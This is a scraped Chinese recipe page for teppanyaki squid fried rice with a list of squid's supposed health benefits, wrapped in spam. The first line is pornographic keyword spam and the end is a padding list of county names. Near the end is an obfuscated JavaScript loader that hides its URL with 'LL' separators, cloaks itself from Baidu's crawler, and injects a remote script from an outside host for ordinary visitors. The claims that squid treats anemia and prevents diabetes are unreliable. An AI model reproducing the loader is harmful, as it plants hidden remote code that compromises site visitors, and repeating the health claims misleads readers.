亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

鐵板魷魚炒飯的做法 吃魷魚的好處

2017-01-16 22:22:06  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:美食一直以來就是生活中最受人們喜愛的事物,而魷魚這一頗具營養(yǎng)價(jià)值的美食,其更是大家就餐必選的食材,鐵板魷魚炒飯就最受人們的青睞,那

美食一直以來就是生活中最受人們喜愛的事物,而魷魚這一頗具營養(yǎng)價(jià)值的美食,其更是大家就餐必選的食材,鐵板魷魚炒飯就最受人們的青睞,那么,其做法是怎樣的呢?

鐵板魷魚炒飯的做法:

原料

剩米飯、胡蘿卜、魷魚爪、青椒、韓國辣醬、豬油、蔥花、鹽。

操作

1、鐵板燒的鍋?zhàn)訜裏?,放入適量豬油,用硅膠刷抹勻。 2、加入胡蘿卜絲炒至金黃色。

3、加入由于爪繼續(xù)翻炒至微微卷起。

4、加入青椒翻炒至略出水。

5、加入剩米飯繼續(xù)翻炒。

6、加入韓國辣醬適量,翻炒均勻。

7、加入適量蔥花和微量鹽,翻炒均勻即可。

吃魷魚的好處:

1.防治貧血

魷魚富含鈣、磷、鐵元素,利于骨骼發(fā)育和造血,能有效治療貧血。含有的多肽和硒等微量元素有抗病毒防輻射的作用。

2.預(yù)防帶血綜合癥

降低血液中的膽固醇,緩解疲勞,恢復(fù)視力。

3.預(yù)防糖尿病

促進(jìn)胰島素的分泌,對(duì)糖尿病有預(yù)防的作用,促進(jìn)肝臟的解毒作用,預(yù)防有酒精肝引起的肝臟功能損害,所以魷魚作為下酒菜是再合適不過的了。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
宕昌县| 巴中市| 灌阳县| 宜兰县| 涿州市| 陵川县| 富平县| 昆山市| 诏安县| 临洮县| 西青区| 灵山县| 拉萨市| 宁化县| 万宁市| 尼勒克县| 中牟县| 旅游| 峡江县| 雷山县| 松桃| 乌兰浩特市| 平武县| 晋城| 延吉市| 龙江县| 南皮县| 大同县| 西华县| 桂林市| 云阳县| 泸溪县| 岳阳市| 库尔勒市| 滦平县| 绵阳市| 长沙市| 定陶县| 鄄城县| 彭水| 绿春县|